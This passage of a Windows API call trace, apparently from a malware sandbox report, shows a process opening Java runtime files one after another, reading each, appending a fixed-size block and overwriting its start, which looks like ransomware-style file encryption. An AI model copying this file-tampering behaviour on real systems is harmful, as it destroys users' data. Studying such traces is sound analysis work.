lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.195] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x10c9a [0046.195] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.195] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.195] ReleaseMutex (hMutex=0x128) returned 1 [0046.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zipfs.jar", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zipfs.jar", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zipfs.jar", lpUsedDefaultChar=0x0) returned 9 [0046.195] ReadFile (in: hFile=0x168, lpBuffer=0x276c358, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0046.211] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xfc9a [0046.211] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.221] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xfc9a [0046.221] WriteFile (in: hFile=0x168, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.222] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0046.222] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0046.222] CloseHandle (hObject=0x168) returned 1 [0046.222] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.227] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.227] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x39254 [0046.227] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.227] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.227] ReleaseMutex (hMutex=0x128) returned 1 [0046.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaTypewriterBold.ttf", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0046.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LucidaTypewriterBold.ttf", cchWideChar=24, lpMultiByteStr=0x1e7fd2c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LucidaTypewriterBold.ttf", lpUsedDefaultChar=0x0) returned 24 [0046.227] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0046.234] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x38254 [0046.234] ReadFile (in: hFile=0x168, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.238] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x38254 [0046.238] WriteFile (in: hFile=0x168, lpBuffer=0x27c9b98*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b98*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.239] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0046.239] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.239] CloseHandle (hObject=0x168) returned 1 [0046.239] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x99 [0046.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.245] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.245] ReleaseMutex (hMutex=0x128) returned 1 [0046.245] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win32_MoveNoDrop32x32.gif", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0046.245] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="win32_MoveNoDrop32x32.gif", cchWideChar=25, lpMultiByteStr=0x1e7fd2c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="win32_MoveNoDrop32x32.gif", lpUsedDefaultChar=0x0) returned 25 [0046.245] ReadFile (in: hFile=0x168, lpBuffer=0x25152d8, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25152d8*, lpNumberOfBytesRead=0x354f2bc*=0x99, lpOverlapped=0x0) returned 1 [0046.246] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.246] WriteFile (in: hFile=0x168, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x621, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x621, lpOverlapped=0x0) returned 1 [0046.246] CloseHandle (hObject=0x168) returned 1 [0046.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\logging.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.250] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.250] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x997 [0046.250] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.250] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.250] ReleaseMutex (hMutex=0x128) returned 1 [0046.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logging.properties", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0046.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logging.properties", cchWideChar=18, lpMultiByteStr=0x1e786cc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logging.properties", lpUsedDefaultChar=0x0) returned 18 [0046.251] ReadFile (in: hFile=0x168, lpBuffer=0x1da83f8, nNumberOfBytesToRead=0x997, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da83f8*, lpNumberOfBytesRead=0x354f2bc*=0x997, lpOverlapped=0x0) returned 1 [0046.272] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.273] WriteFile (in: hFile=0x168, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xf1f, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x354f2d0*=0xf1f, lpOverlapped=0x0) returned 1 [0046.273] CloseHandle (hObject=0x168) returned 1 [0046.273] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\psfontj2d.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.273] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.273] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2899 [0046.273] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.273] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.273] ReleaseMutex (hMutex=0x128) returned 1 [0046.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="psfontj2d.properties", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0046.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="psfontj2d.properties", cchWideChar=20, lpMultiByteStr=0x1e78c44, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="psfontj2d.properties", lpUsedDefaultChar=0x0) returned 20 [0046.274] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.275] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1899 [0046.275] ReadFile (in: hFile=0x168, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.275] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1899 [0046.275] WriteFile (in: hFile=0x168, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.276] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0046.276] WriteFile (in: hFile=0x168, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.276] CloseHandle (hObject=0x168) returned 1 [0046.276] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.278] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.278] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x9b7 [0046.278] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.278] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.278] ReleaseMutex (hMutex=0x128) returned 1 [0046.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="US_export_policy.jar", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0046.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="US_export_policy.jar", cchWideChar=20, lpMultiByteStr=0x1e78c44, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="US_export_policy.jar", lpUsedDefaultChar=0x0) returned 20 [0046.278] ReadFile (in: hFile=0x168, lpBuffer=0x1da83f8, nNumberOfBytesToRead=0x9b7, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da83f8*, lpNumberOfBytesRead=0x354f2bc*=0x9b7, lpOverlapped=0x0) returned 1 [0046.303] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.304] WriteFile (in: hFile=0x168, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0xf3f, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x354f2d0*=0xf3f, lpOverlapped=0x0) returned 1 [0046.304] CloseHandle (hObject=0x168) returned 1 [0046.304] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Banjul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\banjul"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.309] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.309] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4d [0046.309] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.309] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.309] ReleaseMutex (hMutex=0x128) returned 1 [0046.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Banjul", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Banjul", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Banjul", lpUsedDefaultChar=0x0) returned 6 [0046.310] ReadFile (in: hFile=0x168, lpBuffer=0x1e8f228, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f228*, lpNumberOfBytesRead=0x354f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0046.310] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.310] WriteFile (in: hFile=0x168, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0046.311] CloseHandle (hObject=0x168) returned 1 [0046.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dar_es_Salaam" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\dar_es_salaam"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.317] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.317] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x55 [0046.317] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.317] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.317] ReleaseMutex (hMutex=0x128) returned 1 [0046.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dar_es_Salaam", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0046.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dar_es_Salaam", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dar_es_Salaam", lpUsedDefaultChar=0x0) returned 13 [0046.317] ReadFile (in: hFile=0x168, lpBuffer=0x1ea3f88, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3f88*, lpNumberOfBytesRead=0x354f2bc*=0x55, lpOverlapped=0x0) returned 1 [0046.318] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.318] WriteFile (in: hFile=0x168, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5dd, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x5dd, lpOverlapped=0x0) returned 1 [0046.318] CloseHandle (hObject=0x168) returned 1 [0046.318] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Khartoum" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\khartoum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.322] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.322] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x151 [0046.322] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.322] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.322] ReleaseMutex (hMutex=0x128) returned 1 [0046.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Khartoum", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0046.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Khartoum", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Khartoum", lpUsedDefaultChar=0x0) returned 8 [0046.322] ReadFile (in: hFile=0x168, lpBuffer=0x253c138, nNumberOfBytesToRead=0x151, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253c138*, lpNumberOfBytesRead=0x354f2bc*=0x151, lpOverlapped=0x0) returned 1 [0046.323] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.323] WriteFile (in: hFile=0x168, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6d9, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x6d9, lpOverlapped=0x0) returned 1 [0046.323] CloseHandle (hObject=0x168) returned 1 [0046.323] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maputo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\maputo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.327] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.327] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x41 [0046.327] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0046.327] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.327] ReleaseMutex (hMutex=0x128) returned 1 [0046.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Maputo", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0046.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Maputo", cchWideChar=6, lpMultiByteStr=0x1e6a9fc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Maputo", lpUsedDefaultChar=0x0) returned 6 [0046.327] ReadFile (in: hFile=0x168, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x354f2bc*=0x41, lpOverlapped=0x0) returned 1 [0046.328] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0046.329] WriteFile (in: hFile=0x168, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x354f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0046.329] CloseHandle (hObject=0x168) returned 1 [0046.329] CreateFileW (lpFileName="C:\\Program Files 